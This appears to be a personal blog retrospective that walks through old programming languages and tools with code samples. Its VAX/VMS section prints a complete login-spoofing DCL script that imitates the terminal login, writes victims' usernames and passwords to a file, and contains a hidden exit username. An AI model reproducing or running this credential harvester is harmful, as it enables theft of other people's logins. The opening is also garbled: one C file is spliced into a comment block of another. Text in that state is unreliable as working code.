"FileUtil.DLL test application",/* Text for window title bar. */
WS_OVERLAPPEDWINDOW, /* Window style. */
20, /* Default horizontal position. */
100, /* Default vertical position. */
590, /* Default width. */
300, /* Default height. */
NULL, /* Overlapped windows have no parent. */
NULL, /* Use the window class menu. */
hInstance, /* This instance owns this window. */
NULL /* Pointer not needed. */
);

/* If window could not be created, return "failure" */

if (!hWnd)
return (FALSE);

MainWindow = hWnd; /* Store window handle in global var. for later use */
/* Make the window visible; update its client area; and return "success" */

ShowWindow(hWnd, nCmdShow); /* Show the window */
UpdateWindow(hWnd); /* Sends WM_PAINT message */
return (TRUE); /* Returns the value from PostQuitMessage */

}

/****************************************************************************

FUNCTION: MainWndProc(HWND, UINT, WPARAM, LPARAM)

PURPOSE: Processes messages // pbcomm.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "pbcomm.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CPbcommApp

BEGIN_MESSAGE_MAP(CPbcommApp, CWinApp)
//{{AFX_MSG_MAP(CPbcommApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CPbcommApp construction

CPbcommApp::CPbcommApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CPbcommApp object

CPbcommApp theApp;


extern "C" HANDLE FAR PASCAL EXPORT OpenCOM(int Port)
{
DCB dcb ;
char szPort[ 15 ];
HANDLE idComDev;
COMMTIMEOUTS CommTimeOuts ;

wsprintf( szPort, "%s%d", "COM", Port) ;

idComDev = CreateFile( szPort, GENERIC_READ | GENERIC_WRITE,
0, // exclusive access
NULL, // no security attrs
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, // overlapped I/O
NULL );

if (idComDev < 0) return (HANDLE)-1;

// get any early notifications

if (!SetCommMask( idComDev, 0)) return (HANDLE)-2; //EV_RXCHAR ) ;

// setup device buffers

if (!SetupComm( idComDev, 1024, 1024 )) return (HANDLE)-3;

// purge any information in the buffer

if (!PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |
PURGE_TXCLEAR | PURGE_RXCLEAR )) return (HANDLE)-4 ;

// set up for overlapped I/O

CommTimeOuts.ReadIntervalTimeout = 0xFFFFFFFF ;
CommTimeOuts.ReadTotalTimeoutMultiplier = 0 ;
CommTimeOuts.ReadTotalTimeoutConstant = 1000 ;
CommTimeOuts.WriteTotalTimeoutMultiplier = 0 ;
CommTimeOuts.WriteTotalTimeoutConstant = 1000 ;
if (!SetCommTimeouts( idComDev, &CommTimeOuts )) return (HANDLE)-5;

dcb.DCBlength = sizeof( DCB ) ;

GetCommState( idComDev, &dcb ) ;
if (!SetCommState( idComDev, &dcb )) return (HANDLE)-6 ;

return idComDev;

}

extern "C" INT FAR PASCAL EXPORT WriteCOM(HANDLE idComDev, LPSTR lpszString)
{


DWORD dwBytesWritten;
DWORD dwBytesToWrite;


// create I/O event used for overlapped reads / writes

// WRITE_OS( npTTYInfo ).hEvent = CreateEvent( NULL, // no security
// TRUE, // explicit reset req
// FALSE, // initial event reset
// NULL ) ; // no name
// if (NULL == WRITE_OS( npTTYInfo ).hEvent)
// {
// return ( -1 ) ;
// }

dwBytesToWrite = strlen(lpszString);

if (!WriteFile( idComDev, lpszString, dwBytesToWrite,
&dwBytesWritten, NULL)) return -6;//&WRITE_OS( npTTYInfo ) ) ;


// CloseHandle( WRITE_OS( npTTYInfo ).hEvent ) ;

return ( dwBytesWritten ) ;

}

extern "C" INT FAR PASCAL EXPORT CloseCOM(HANDLE idComDev)
{


PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |
PURGE_TXCLEAR | PURGE_RXCLEAR ) ;

CloseHandle( idComDev ) ;

return 0;
}

MESSAGES:

WM_COMMAND - Traps all button messages.
WM_DESTROY - destroy window

COMMENTS:


****************************************************************************/

long CALLBACK __export MainWndProc(hWnd, message, wParam, lParam)
HWND hWnd; /* window handle */
UINT message; /* type of message */
WPARAM wParam; /* additional information */
LPARAM lParam; /* additional information */
{
HWND htemp;
PAINTSTRUCT paintstruct;
RECT rect;
char lst_from_file[256];
char lst_to_file[256];
char lst_mode[4];
int li_return;
int mode;
char error_msg[40];
HDC mydc;

switch (message)
{
case WM_CREATE:

htemp = CreateWindow ("static","From file:",
WS_CHILD|WS_VISIBLE|ES_RIGHT,
20,40,80,20,hWnd,NULL,hInst,NULL);

hFromFile = CreateWindow("Edit",NULL,
WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,
105,37,400,24,hWnd,NULL,hInst,NULL);

htemp = CreateWindow ("static","To file:",
WS_CHILD|WS_VISIBLE|ES_RIGHT,
20,80,80,20,hWnd,NULL,hInst,NULL);

hToFile = CreateWindow ("Edit",NULL,
WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,
105,77,400,24,hWnd,NULL,hInst,NULL);

htemp = CreateWindow ("static","Mode:",
WS_CHILD|WS_VISIBLE|ES_RIGHT,
20,129,80,24,hWnd,NULL,hInst,NULL);

hMode = CreateWindow ("Edit",NULL,
WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,
105,128,30,22,hWnd,NULL,hInst,NULL);

hRename = CreateWindow ("Button","Rename",
WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,
80,190,70,22,hWnd,ID_RENAME,hInst,NULL);

hCopy = CreateWindow ("Button","Copy",
WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,
180,190,50,22,hWnd,ID_COPY,hInst,NULL);

hExit = CreateWindow ("Button","Exit",
WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,
260,190,50,22,hWnd,ID_EXIT,hInst,NULL);

return TRUE;
break;


case WM_PAINT:


mydc = BeginPaint(MainWindow,&paintstruct);

GetClientRect(MainWindow,&rect);

rect.top = 18;
rect.left = 140;
DrawText(mydc,"(Enter full pathnames)",
-1,&rect,DT_SINGLELINE|DT_LEFT);


rect.top = 124;
rect.left = 150;
DrawText(mydc,"Copy Modes: 1 = Copy, 2 = Copy/Replace, 3 = Append",
-1,&rect,DT_SINGLELINE|DT_LEFT);

rect.top = 140;
DrawText(mydc,"Rename Modes: 1 = Rename, 2 = Rename/Replace",
-1,&rect,DT_SINGLELINE|DT_LEFT);


EndPaint(hWnd,&paintstruct);

return TRUE;
break;


case WM_COMMAND: /* message: command from application menu */
switch (wParam)
{
case ID_RENAME:

GetWindowText(hFromFile,lst_from_file,
sizeof(lst_from_file));
GetWindowText(hToFile,lst_to_file,sizeof(lst_to_file));
GetWindowText(hMode,lst_mode,sizeof(lst_mode));
mode = atoi(lst_mode);
li_return = RenameFile(lst_from_file,lst_to_file,mode);

if (li_return==0)
{
MessageBox(0,"Successful Rename","Result",MB_OK);
}
else
{
sprintf(error_msg,"Rename error = %d",li_return);
MessageBox(0,error_msg,"Error",MB_OK);
}

break;

case ID_COPY:
GetWindowText(hFromFile,lst_from_file,
sizeof(lst_from_file));
GetWindowText(hToFile,lst_to_file,sizeof(lst_to_file));
GetWindowText(hMode,lst_mode,sizeof(lst_mode));
mode = atoi(lst_mode);

li_return = CopyFile(lst_from_file,lst_to_file,mode);

if (li_return==0)
{
MessageBox(0,"Successful Copy","Result",MB_OK);
}
else
{
sprintf(error_msg,"Copy error = %d",li_return);
MessageBox(0,error_msg,"Error",MB_OK);
}

break;

case ID_EXIT:
DestroyWindow(MainWindow);
break;

default:
return (DefWindowProc(hWnd, message, wParam, lParam));

}
return TRUE;
break;
case WM_DESTROY: /* message: window being destroyed */
PostQuitMessage(0);
break;
return TRUE;

default: /* Passes it on if unproccessed */
return (DefWindowProc(hWnd, message, wParam, lParam));
}
return (NULL);
}

Microsoft Visual C++ 1.5
Microsoft Visual C++ 1.5 was the last of the 16-bit compilers. Even years later when I had moved all the way up to Microsoft Visual C++ 6.0, I still kept my version 1.5 CD in a safe place, because you never know when you'll have to recompile (and thunk) some old 16-bit app.

Here is an old-school 16-bit DLL library:

// pbcomm.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "pbcomm.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CPbcommApp

BEGIN_MESSAGE_MAP(CPbcommApp, CWinApp)
//{{AFX_MSG_MAP(CPbcommApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CPbcommApp construction

CPbcommApp::CPbcommApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CPbcommApp object

CPbcommApp theApp;


extern "C" HANDLE FAR PASCAL EXPORT OpenCOM(int Port)
{
DCB dcb ;
char szPort[ 15 ];
HANDLE idComDev;
COMMTIMEOUTS CommTimeOuts ;

wsprintf( szPort, "%s%d", "COM", Port) ;

idComDev = CreateFile( szPort, GENERIC_READ | GENERIC_WRITE,
0, // exclusive access
NULL, // no security attrs
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, // overlapped I/O
NULL );

if (idComDev < 0) return (HANDLE)-1;

// get any early notifications

if (!SetCommMask( idComDev, 0)) return (HANDLE)-2; //EV_RXCHAR ) ;

// setup device buffers

if (!SetupComm( idComDev, 1024, 1024 )) return (HANDLE)-3;

// purge any information in the buffer

if (!PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |
PURGE_TXCLEAR | PURGE_RXCLEAR )) return (HANDLE)-4 ;

// set up for overlapped I/O

CommTimeOuts.ReadIntervalTimeout = 0xFFFFFFFF ;
CommTimeOuts.ReadTotalTimeoutMultiplier = 0 ;
CommTimeOuts.ReadTotalTimeoutConstant = 1000 ;
CommTimeOuts.WriteTotalTimeoutMultiplier = 0 ;
CommTimeOuts.WriteTotalTimeoutConstant = 1000 ;
if (!SetCommTimeouts( idComDev, &CommTimeOuts )) return (HANDLE)-5;

dcb.DCBlength = sizeof( DCB ) ;

GetCommState( idComDev, &dcb ) ;
if (!SetCommState( idComDev, &dcb )) return (HANDLE)-6 ;

return idComDev;

}

extern "C" INT FAR PASCAL EXPORT WriteCOM(HANDLE idComDev, LPSTR lpszString)
{


DWORD dwBytesWritten;
DWORD dwBytesToWrite;


// create I/O event used for overlapped reads / writes

// WRITE_OS( npTTYInfo ).hEvent = CreateEvent( NULL, // no security
// TRUE, // explicit reset req
// FALSE, // initial event reset
// NULL ) ; // no name
// if (NULL == WRITE_OS( npTTYInfo ).hEvent)
// {
// return ( -1 ) ;
// }

dwBytesToWrite = strlen(lpszString);

if (!WriteFile( idComDev, lpszString, dwBytesToWrite,
&dwBytesWritten, NULL)) return -6;//&WRITE_OS( npTTYInfo ) ) ;


// CloseHandle( WRITE_OS( npTTYInfo ).hEvent ) ;

return ( dwBytesWritten ) ;

}

extern "C" INT FAR PASCAL EXPORT CloseCOM(HANDLE idComDev)
{


PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |
PURGE_TXCLEAR | PURGE_RXCLEAR ) ;

CloseHandle( idComDev ) ;

return 0;
}


Vax/vms script
When I was in college, I invented a phishing attack. They weren't called that at the time, and I had never heard of any such thing before. I thought I was just being clever.

We had rooms full of mainframe terminals, and I wrote this program that would simulate the login screen for the mainframe. It would ask you for your name and password, and then write that name and password to a text file, and then execute system commands to actually log you in as a shell process. So, you would be none the wiser. When you logged out, control was returned to my program. My program was immune to any control sequences that would normally halt a running script.

I showed this to one of the professors to show how there was a potential hole in our security. He became upset...AT ME! I had to promise to delete all copies of it...and I did...but then a few years later I was going through my archives and found this early version of the program. :)

$ ! This is a COM File that imitates the VMS connect procedure.
$ ! This is a secret file that should not be shown to everyone.
$ ! This file will take peoples' usernames and passwords and copy them
$ ! to a DAT file.
$ set nocontrol=y
$ cls
$ SET TERM/NOTYPE_AHEAD
$ set broadcast=(nogeneral)
$ write sys$output "Local>"
$ loc:
$ write sys$output "Local>"
$ write sys$output "Local>"
$ SET MESSAGE/NOFAC/NOIDENT/NOSEVERITY/NOTEXT
$ goto Timer
$ prompt:
$ inquire/nopunc flag "Local> "
$ if (f$extract(0,1,flag) .EQS. "") then -
goto prompt
$ if (flag .eqs. "C") then -
goto SESS
$ if (flag .eqs. "H") .or. (flag .eqs. "HELP") then goto helpit
$ if (flag .eqs. "LO") then goto timer
$ write sys$output "Local -707- Keyword """,flag,""" not known or ambiguous
"
$ goto prompt
$ SESS:
$ !
$ write sys$output "Local -010- Session 1 to VMS established"
$ write sys$output ""
$ write sys$output ""
$ write sys$output ""
$ write sys$output "Rose Hulman Institute of Technology - VAX 8530 (VMS)"
$ write sys$output ""
$ count = 0
$ LOOP:
$ Count = count + 1
$ USE:
$! WRITE SYS$OUTPUT "Username: "
$ INQUIRE FLAG "Username"
$! set term/uppercase
$! inquire/nopunct flag "''ESC'[1A''ESC'[10C"
$ ! set term/lowercase
$ if (f$extract(0,1,flag) .EQS. "") then -
goto USE
$ ! secret door to exit the program....
$ IF (FLAG .EQS. "ROSEMHOSEM") THEN GOTO OUT
$ set term/noechoe
$ inquire password "Password"
$ set term/echoe
$ if (flag .eqs. prev) then goto quit
$ error1:
$ prev = flag
$ pass = password
$ Write sys$output "User authorization failure"
$ IF (COUNT .EQ. 3) THEN GOTO TOO_MANY
$ SET TERM/NOECHOE
$ INQUIRE/NOPUNC CRT "''ESC'[1A"
$ SET TERM/ECHOE
$ GOTO LOOP
$ !
$ TOO_MANY:
$ WRITE SYS$OUTPUT "Local -011- Session 1 disconnected from VMS"
$ goto prompt
$ !
$ QUIT:
$ if (password .nes. pass) then goto error1
$ !
$ !!Special
$ if (prev .eqs. "TRULORE") then goto straight_in
$ !
$ open/append input_file 'F$DIRECTORY()'pass.dat
$ write input_file flag
$ write input_file password
$ write input_file " "
$ close input_file
$ STRAIGHT_IN:
$ ! create a nested session to log the user in using the username and password they supplied.
$ open/write output 'F$DIRECTORY()'goto.com
$ write output "$ set host/nolog vms"
$ write output ''flag
$ write output ''password
$ close output
$ @goto
$ WRITE SYS$OUTPUT "Local -011- Session 1 disconnected from VMS"
$ delete/nocon/nolog Goto.com;*
$ GOTO PROMPT
$ !
$ Timer:
$ tt = f$extract(19,1,f$time())
$ if (tt .eqs. "0") .or. (tt .eqs. "9") then goto Timer
$ Write sys$output "Local -020- Logged out port ''tt'"
$ Timer2:
$ SET TERM/NOECHOE
$ INQUIRE/NOPUNC CRT "''esc'[1A"
$ if (CRT .Nes. "C") .AND. (crt .nes. "") then goto Timer2
$ if crt .eqs. "" then wait 00:00:01
$ CLS
$ WRITE SYS$OUTPUT "DECserver 200 Terminal Server V1.0 (BL20) - LAT V5.1"
$ WRITE SYS$OUTPUT ""
$ SET TERM/ECHOE
$ goto SESS
$ goto Prompt
$ OUT:
$ SET CONTROL=Y
$ SET MESSAGE/FAC/IDENT/SEVERITY/TEXT
$ CLS
$ set term/type_ahead
$ EXIT
$ HELPIT:
$ CLS
$ TYPE 'F$DIRECTORY()'HELP.TXT
$ SAY "Topic? "
$ INQUIRE/NOPUNC CRT "''esc'[1A''ESC'[7C"
$ GOTO PROMPT

$ set process/name="Hold On..."
$ loop:
$ wait 00:01:00
$ say "Hello......???????"
$ goto loop

Visual Basic
I'm skipping a lot of Microsoft technologies in my list, because they really just aren't interesting. But I have to say something about Visual Basic because it was such a thorn in my side for the entire late 1990's. Visual Basic allowed people with very little skill to write applications that looked professional... up to a point. It became wildly popular in the tech boom of the late 90's when companies just couldn't find enough qualified programmers, so any technology that promised to "lower the bar" for software development sold like mad.

The problem is that Visual Basic also lowers the bar on software quality, maintainability and scalability. But nobody sees those failures of Visual Basic until they get too far down the road to change technologies.

My team was writing Visual C++ applications at the time, and our CIO bought himself a copy of Visual Basic and wrote a simple application in 1 day. Then he tried to demand that WE use Visual Basic too because it took us longer than 1 day to write an application using Visual C++. (True story). And there's just no way to explain to someone like that the true complexities of real-world software development. We had to just refuse his request (a small mutiny), and hope he didn't fire us, and luckily he didn't.

But Visual Basic spread like crazy across companies everywhere, especially in the form of VBA macros for Word and Excel. It wasn't until the past few years that I've been relatively free of the Visual Basic disease.
C#
It's a Java ripoff. Everyone knows it. It's another attempt by Microsoft to offer developers better features at the expense of platform lock-in. When I think of the tradeoffs between Microsoft and open standards, I picture the scene from the movie "300" where Xerces promises Leonidas power if he would but kneel.

Any advantage Microsoft offers in terms of features or interoperability with other Microsoft systems is a Faustian Bargin. Being locked into one platform is anti-capitalism and anti-competitive, and it leads to stagnation and abuse of power.

If anyone tells you that C# can run on other platforms, they are either lying to you or they just popped open a can of dumb-ass. Sure, there are projects like Mono, but they will never be equal to their Windows counterparts.

FORTRAN 66/77
At my first really programmer job, I wrote Ada and FORTRAN. Most of our applications were in FORTRAN 66, so I wrote a program in FORTRAN 77 that would convert code from 66 to 77. (That brought us up from 1966 technology to 1977 technology...in 1992.)

This is a sample of my FORTRAN 66. Note that FORTRAN 66 did not have "if" statements as we know today. The only thing a FORTRAN 66 "if" could do is perform a 3-way GOTO statement. Ouch! A typical FORTRAN 66 program was at least 1/4th GOTO statements...and there was no interactive debugger.

80 CONTINUE
ITEM = "INTERNAL-P/N;"
DBLARGUMENT = IPN
CALL DBFIND (IDBPMS1,IBIN,1,ISTATUS,IITEM,IARGUMENT)
IF (.CC.) 90,100,90
90 CONTINUE
IERR = 200
C IERR = 200
GO TO 9000
C
100 CONTINUE
IF (ISTATUS(5).EQ.0.AND.ISTATUS(6).EQ.0) GO TO 150
C
110 CONTINUE
CALL DBGET (IDBPMS1,IBIN,5,ISTATUS,ILIST,IBINREC,IARGUMENT)
IF (.CC.) 120,130,120
120 CONTINUE
IF (ISTATUS(1).EQ.15) GO TO 150
IERR = 205
C IERR = 205
GO TO 9000
C
130 CONTINUE
IF (BINLOCATION.NE.BARLOCATION) GO TO 110
BINQTYINBIN = BINQTYINBIN + (TOTQTYPROCESSED - NEWISSUEQTY)
CALL DBUPDATE (IDBPMS1,IBIN,1,ISTATUS,ILIST,IBINREC)
IF (.CC.) 140,170,140
140 CONTINUE
IERR = 210
C IERR = 210
GO TO 9000
LaTeX
LaTeX is pronounced like la-tek, not lay-tex. A free document markup language that was very popular in college, and is still used to this day by schools and mathematicians. (Never underestimate the difficulty of finding publishing tools that can print complex mathematical formulas correctly!
 

\documentstyle[12pt]{report}
\title{User Document, Arts Illiana Activities Calendar}
\author{Tom Bogle \and Matt Drew \and Robert Pappas \and Richard Stroud}
\date{January 25, 1990}
%\oddsidemargin 0in
%\textwidth 5in
\begin{document}
\pagenumbering{roman}
\tableofcontents
\maketitle
\chapter{A Brief Overview}
\pagenumbering{arabic}

\hspace{3ex}Upon entry to the system the user will be viewing the calender for
the current month. The current day will be highlighted. The options available
to the user at this time are
\begin{itemize}
\item View the activities for the current day
\item Add an event to the current day
\item Select another date
\item Search for a user defined key
\item Print a report
\item Exit calendar
\end{itemize}

\chapter{Viewing a Date}
\hspace{3ex}Viewing the activities on the highlighted day is done by pressing
$<$RETURN$>$. To position the desired day, see the chapter on `Movement' below.

After pressing $<$RETURN$>$ the events for the highlighted date will appear in
the
viewing window at the bottom of the screen. The events will be in increasing
order by time, with the first event highlighted. The following functions are
available while control is in the viewing window.
\begin{itemize}
\item Display the information for the highlighted event
\item Insert an event
\item Highlight a different event
\item Delete an event
\item Return to the calendar
\end{itemize}

\section{Display an Event}
\hspace{3ex}To display the highlighted event the user presses $<$RETURN$>$. All

of the information associated with the requested event will be displayed in a
window which will pop up over the calendar. The Escape key returns the user
to the event list.

PowerBuilder
I was a serious PowerBuilder developer...for almost 2 years. I mean I REALLY immursed myself in PowerBuilder and even got PowerSoft/Sybase certified in PowerBuilder and PowerBuilder Foundation Classes. At the time, Sybase's database was equal in popularity to the Oracle database. Then Sybase bought out PowerSoft (and their flagship product PowerBuilder), and could compete head to head with Visual Basic. Sybase was on top of the world, beating both Oracle and Microsoft, and so I hitched my wagon to Sybase thinking they could be one company that would build an empire to rival Microsoft.

Then, like cotton candy on a rainy day, Sybase suddenly dissolved into a puddle of goo. The stories of the mistakes they made are legend, and should be tought in every business class. Microsoft was the biggest source of the rain that melted Sybase, and after the Sybase meltdown I thought Microsoft would be unstoppable. So in 1997 I had to make a decision whether to go be a Java developer or go back to doing Microsoft C++. I opted for the latter thinking that Sun would suffer the same fate as Sybase and be destroyed by Microsoft. But then a miracle happened in 2001 when Microsoft was prevented from taking over Java. That's when I abandoned Microsoft technologies for Java, and I've been doing Java ever since.

on ue_create_store_date;

int li_row
string ls_implementation_string, ls_parm

dw_item_create_date.AcceptText ()

//********************************************************************
// Find if window already open
//********************************************************************
If IsValid(w_store_dates) = TRUE Then
gs_error_title = "Invalid Selection #580007"
gs_error_message = "Please do not choose 'Create Store Dates'~r~n" +&
"when there is already a Store Dates window open."
OpenWithParm (w_error_box,"I")
Return
End if

//******************************************************************
// Set up variables, open next window.
//********************************************************************

ls_implementation_string = "Create "

ls_parm = is_update_dates_pld + is_update_dates_version +&
ls_implementation_string

If ibl_show_warning_msg = True Then
ls_parm = ls_parm + 'T'
Else
ls_parm = ls_parm + 'F'
End if

OpenSheetWithParm (w_store_dates,ls_parm,w_pld_frame,3,LAYERED!)

w_pld_frame.SetMicroHelp ("Ready")
end on


Vax-11 MACRO Assembly
My archive of Assembly code from the Vax-11 was wiped out accidentally when I was in college, but here is a scan from a leftover green-bar printout. The Vax had a VERY robust CPU instruction set. There was even one OP code that would multiply two nXn matrices! Yikes!


Ada
I used Ada extensively in school. It was supposed to be the next great language for software development. But the structural beauty of Ada was undermined by the practical nature of C. I think what truly killed Ada was the microcomputer revolution, because C was better suited for personal computers with limited RAM.



-----------------------------------------------------------------------------
-- Program : Airport Simulation --
-- This program simulates two air fields, one with one runway and --
-- the other with two runways. For a given set of air traffic --
-- probabilities, it displays the average waiting times for both --
-- departures and arrivals --
-- Date : January 18, 1989 --
-- Author : Robert C. Pappas --
-- --
-----------------------------------------------------------------------------

with RANDOM_LIB,TEXT_IO,INTEGER_TEXT_IO,FLOAT_TEXT_IO,PLANE_QUEUE_PACKAGE;
use RANDOM_LIB,TEXT_IO,INTEGER_TEXT_IO,FLOAT_TEXT_IO,PLANE_QUEUE_PACKAGE;

procedure AIRPORT_SIMULATION is
procedure AIRPORT (RUNWAYS : IN NATURAL ) is
TOTAL : CONSTANT := 3;
-- There are a total of three averages computed
-- An average for peak traffic hours, low traffic hours,
-- and a composite total for the day
subtype PERIOD_TYPE is INTEGER range 1..TOTAL;
ARRIVE_QUEUE,DEPART_QUEUE : QUEUE_TYPE; -- plane queues
PLANE : PLANE_TYPE; -- planes
IDENT : NATURAL := 1; -- ID number
ARRIVE1,ARRIVE2,DEPART1,DEPART2,
OPERATION : FLOAT;
ARRIVAL : BOOLEAN;
PERIOD : PERIOD_TYPE;

ARRIVE_NUM_PLANES,
ARRIVE_WAIT_TIME,
DEPART_NUM_PLANES,
DEPART_WAIT_TIME : ARRAY (1..TOTAL) of NATURAL :=
(OTHERS => 0);


ARRIVE_AVG,DEPART_AVG : ARRAY (1..TOTAL) of FLOAT :=
(OTHERS => 0.0);

begin
CREATE (ARRIVE_QUEUE);
CREATE (DEPART_QUEUE);

for HOUR in 1..24 loop
case HOUR is
when 01..15 =>
PERIOD := 1;
.....

-- Program : Reverse Polish Notation
-- This program converts an expression in infix notation
-- and converts it to postfix notation
-- Written by : Robert Pappas
-- Date : December 14, 1988

with BASIC_IO; -- Includes basic Input/Output package
with STACK_PACKAGE; -- Include stack package
use STACK_PACKAGE; -- Make stack package main library

procedure RPN is

type PRECEDENCE_TYPE is (HIGHER, LOWER);
MAX_LENGTH : constant INTEGER := 80;
subtype STRING_TYPE is STRING (1..MAX_LENGTH);
STACK : STACK_TYPE;
INPUT_STRING,
OUTPUT_STRING : STRING_TYPE;
INPUT_LENGTH,
OUTPUT_LENGTH : INTEGER range 0..MAX_LENGTH;
GARBAGE : CHARACTER;
OPERATOR : BOOLEAN;
PARENTHESES_LEVEL,
POSITION : INTEGER;
ERROR_MESSAGE : STRING (1..30);

function PRECEDENCE (FIRST_OPERATOR, SECOND_OPERATOR : CHARACTER)
return PRECEDENCE_TYPE is

subtype PRECEDENCE_RANGE is INTEGER range 0..4;
type RECORD_TYPE is record
OPERATOR : CHARACTER;
INFIX_PRECEDENCE : PRECEDENCE_RANGE;
STACK_PRECEDENCE : PRECEDENCE_RANGE;
end record;
type TABLE_TYPE is array (1..6) of RECORD_TYPE;
PRECEDENCE_TABLE : TABLE_TYPE :=
(1 => ('+',1,1),
2 => ('-',1,1),
...

with Unchecked_Deallocation;
separate(Guts)
procedure Dispose_Flight_List(Ptr in out flight_list_ptr) is
dead: flight_list_ptr;

procedure Dispose is new Unchecked_Deallocation
(Flight_List_Type, Flight_List_Ptr);
begin
while Ptr/=null loop
dead:=Ptr;
Ptr:=Ptr.next;
dispose(dead);
end loop;
end Dispose_Flight_List;
HoTMetaL
This was one of the first serious HTML editing tools. For an HTML tool, it was awesome. I used it for over 5 minutes. That's 4.99 minutes more than I used any other HTML editing tool in those days...because as a programmer I always wanted to write the raw HTML code by hand. :)

COBOL
I have programmed in COBOL...but I never kept any of my code and I never admit to potential employers that I've ever touched COBOL. COBOL never seems to completely die, but it's at least rare enough now that I think it's safe to come out of the closet and admit that I've written COBOL.

Quiz

A strange little reporting language for the HP TurboImage database.

  
ACCESS IM LINK ITNO TO INVPART OF INVFIL OPTIONAL
DEFINE BASE-PART STRING*18 = ITNO
DEFINE MATL NUMERIC*10 PIC "^^,^^^,^^^.^^" SCALE 2 &
SIGNIFICANCE 4 = MCST + OUTLAB + CSTCOPS
DEFINE LBR NUMERIC*10 PIC "^^,^^^,^^^.^^" SCALE 2 &
SIGNIFICANCE 4 = ULAB + LABCST
DEFINE BDN NUMERIC*10 PIC "^^,^^^,^^^.^^" SCALE 2 &
SIGNIFICANCE 4 = CSTSAB + CSTSCB + CSTAO2S + CSTCO2S &
+ CSTAO3S + CSTCO3S + (MCST * CSTMBFS) + CSTCOPOS + CSTCMOS &
+ (OUTLAB * CSTOPBFS)
DEFINE USAGE NUMERIC*9 = PTDUNM + PTDUND
SET REPORT LIMIT 50000
SELECT IF CCODE NE 32767
SORT ON ITNO ON INVLOC
SET SUBFILE AT ITNO NAME MM26AR1.PB KEEP
REPORT SUMMARY ITNO BASE-PART DESC MATL LBR BDN &
INVQTY SUB RESET AT ITNO USAGE
GO


QTP
Another reporting language for the HP TurboImage database.

access *mm29cr1 link upn to bomno of psf link comno to itno of im
define source num*2 = 1 if scode[1:1] eq "P" or scode[1:1] eq "B" &
else 2 if scode[1:1] eq "M" &
else 0
subfile mm29dr1 keep if source = 2 &
include comno of psf,upn of mm29cr1,tpflag of mm29cr1, &
tsonum of mm29cr1
subfile mm29dr2 keep if source = 1 &
include comno of psf,upn of mm29cr1,tpflag of mm29cr1, &
tsonum of mm29cr1
set process lim 500000
go
cancel
;
; Write this level's "make" components to the component subfile.
;
access *mm29dr1
subfile mm29dr2 append &
include comno,upn,tpflag,tsonum
set process lim 500000
go
cancel
;
; Get this level's "make" components. Write to subfile to drive
; next level's search. Write the "buy" components to MM29DR2.
;
access *mm29dr1 link comno to bomno of psf link comno of psf &
to itno of im
define source num*2 = 1 if scode[1:1] eq "P" or scode[1:1] eq "B" &
else 2 if scode[1:1] eq "M" &
else 0
subfile mm29dr2 append if source eq 1 &
include comno of psf,upn of mm29dr1,tpflag of mm29dr1, &
tsonum of mm29dr1
subfile mm29dr3 keep if source eq 2 &
include comno of psf,upn of mm29dr1,tpflag of mm29dr1, &
tsonum of mm29dr1
set process lim 500000
go
cancel
;
; Write this levels "make" components to the component subfile.
;
access *mm29dr3
subfile mm29dr2 append &
include comno,upn,tpflag,tsonum
set process lim 500000
go
Ray Tracing
Between 1993 and 1995, graphics programs that could do Ray Tracing became available for PC. The programs were primitive, and required a LOT of code just to produce a simple shape like a sphere. They took hours or days to render 1 full image. I made the following image in 1994. It took me about 8 hours to code, and 40+ hours to render this one image at 640X480...and that was the best high-color resolution available at the time. Talk about tacky! At the time, I was totally blown away by how sharp this image was and how the software captured the reflections in the mirror and on the floor! Today this image looks awful, grainy, lo-color, and primitive, and doesn't even fill 1/4th of my screen. Sad.


JBuilder, PowerJ, Visual Cafe
I'm lumping these three tools together, because they were the top Java IDEs during the golden age of proprietary Java Development tools. I think I bought every one of these at some point between 1997 and 2001. They kept leapfrogging each other in features. Then Eclipse came out and ran away with the market share. This is yet ANOTHER example of an open-source project harming every other software maker except Microsoft.
Visual Age
The Fischer Price Java development tool. It made development simple by severely limiting everything you could do. The worst part of all was that it did not even store your source files at text files. It put all of your code into its own little custom binary repository (called ENVY...as in "we envy people who use other tools") that was prone to corruption and therefore losing all of your code! It's amazing what IBM toadies will put up with! I remember at JavaOne 2001, IBM announced the end of ENVY...and half the room cheered and half the room booed. I was in the half that cheered. For the record: We were right!
Websphere Studio Application Developer
That's probably one of the most ill-named development tools ever. It made an acronym (WSAD) that you couldn't even pronounce, but most developers called it "We SAD" :)
Tuxedo
